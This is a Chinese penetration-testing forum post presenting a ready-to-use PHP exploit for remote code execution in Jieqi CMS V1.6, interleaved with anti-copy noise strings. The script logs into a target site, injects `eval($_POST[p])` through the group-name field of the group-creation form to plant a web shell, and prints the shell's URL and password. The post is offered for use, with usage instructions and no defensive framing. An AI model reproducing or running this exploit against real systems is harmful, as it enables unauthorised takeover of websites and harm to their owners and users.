中国网络渗透测试联盟
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
[打印本页]
作者:
admin
时间:
2013-2-23 11:28
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
5 a" I1 M7 t; p. w/ B" V
1 G3 r2 B' A' g) q0 F+ i/ D3 r& ?
& x5 k. j7 m+ B/ p$ o
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
% {8 N, [. y; ]
需要有一个能创建圈子的用户。
9 j* M5 V' S8 Z Q
+ I# S0 R* `- F/ X
<?php
0 j% D' ]. q6 Z$ H
4 r0 \' }" [$ M
print_r('
3 D$ P P, ^- T
+---------------------------------------------------------------------------+
' k7 J+ Q3 q3 ~
Jieqi CMS V1.6 PHP Code Injection Exploit
7 I9 U! B" S4 f" I
by flyh4t
1 E5 A* p+ i; g, P6 b% H
mail: phpsec at hotmail dot com
K& f# E/ \2 F) n
team:
http://www.wolvez.org
% B/ \9 b9 I4 ~& w
+---------------------------------------------------------------------------+
+ y( l: b& b% p* H4 F3 c; g9 o3 G' u
'); /**
# N+ f: v- s; u1 r3 K$ }
* works regardless of php.ini settings
- p1 P9 ?# y8 y
*/ if ($argc < 5) { print_r('
. c6 f) q- z' t$ I
+---------------------------------------------------------------------------+
; T2 @4 p$ V2 G3 l
Usage: php '.$argv[0].' host path username
U* L: {/ q, g3 \: o) C& ~
host: target server (ip/hostname)
- G) Q3 C* k# Y( |; v4 m; x+ K
path: path to jieqicms
+ J/ k1 l; \5 g" \; X
uasename: a username who can create group
7 G8 P9 e1 S7 N
Example:
8 N& e6 t. R, Y5 v9 d9 a
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
v5 {0 y1 n9 ?1 F
+---------------------------------------------------------------------------+
7 ~! K- W: C- j/ N; m
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
8 ~, e# Y. v# y- E; [, Y4 r
Content-Disposition: form-data; name="gname"
7 D! }3 {) @: o2 o# {. h
' t/ u2 T& o o5 Q4 @5 ^
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
- R3 f; V7 e5 D
-----------------------------23281168279961
/ }* t& f6 {9 W0 ^6 Y6 j
Content-Disposition: form-data; name="gcatid"
w* N- a% a- U" y
, \% w; u* F# a- T6 Z
1
& Q: f+ e) G2 r( f# M9 ~
-----------------------------23281168279961
) ^* V, X4 c. A- ^% T
Content-Disposition: form-data; name="gaudit"
0 I, Y+ Q$ t$ U% i: |6 j" P
* Q( @1 ?' h8 e; C* Y( J
1
2 n1 h. m: t6 X4 w
-----------------------------23281168279961
X6 e- m8 y7 }
Content-Disposition: form-data; name="gbrief"
; z ~% I7 Q! _2 \
2 f- k) C% x& ^, |/ B4 d$ ?; `6 p
1
' }5 ~! C5 f9 A2 y
-----------------------------23281168279961--
" h9 w* U8 t2 M( Z+ K
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean();
www.2cto.com
$ ?/ i) j e/ N c
- U0 A# ~% p( E
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2